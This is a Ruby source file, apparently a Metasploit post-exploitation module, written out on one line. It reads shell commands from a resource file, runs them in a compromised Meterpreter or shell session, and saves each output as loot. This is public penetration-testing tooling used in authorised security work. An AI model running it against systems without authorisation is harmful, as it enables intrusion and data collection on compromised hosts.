## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Post def initialize(info={}) super( update_info( info, 'Name' => 'Multi Gather Run Shell Command Resource File', 'Description' => %q{ This module will read shell commands from a resource file and execute the commands in the specified Meterpreter or shell session.}, 'License' => MSF_LICENSE, 'Author' => [ 'Carlos Perez '], 'Platform' => %w{ bsd linux osx unix win }, 'SessionTypes' => [ 'meterpreter','shell' ] )) register_options( [ OptString.new('RESOURCE', [true, 'Full path to resource file to read commands from.', nil]) ], self.class) end # Run Method for when run command is issued def run session_type = session.type print_status("Running module against #{sysinfo['Computer']}") if not ::File.exists?(datastore['RESOURCE']) raise "Resource File does not exists!" else ::File.open(datastore['RESOURCE'], "rb").each_line do |cmd| next if cmd.strip.length < 1 next if cmd[0,1] == "#" begin tmpout = "\n" tmpout << "*****************************************\n" tmpout << " Output of #{cmd}\n" tmpout << "*****************************************\n" print_status "Running command #{cmd.chomp}" if session_type =~ /meterpreter/ tmpout << cmd_exec(cmd.chomp) elsif session_type =~ /shell/ tmpout << session.shell_command_token(cmd.chomp).chomp end vprint_status tmpout command_log = store_loot("host.command", "text/plain", session,tmpout , "#{cmd.gsub(/\.|\/|\s/,"_")}.txt", "Command Output \'#{cmd.chomp}\'") print_status("Command output saved to: #{command_log}") rescue ::Exception => e print_status("Error Running Command #{cmd.chomp}: #{e.class} #{e}") end end end end end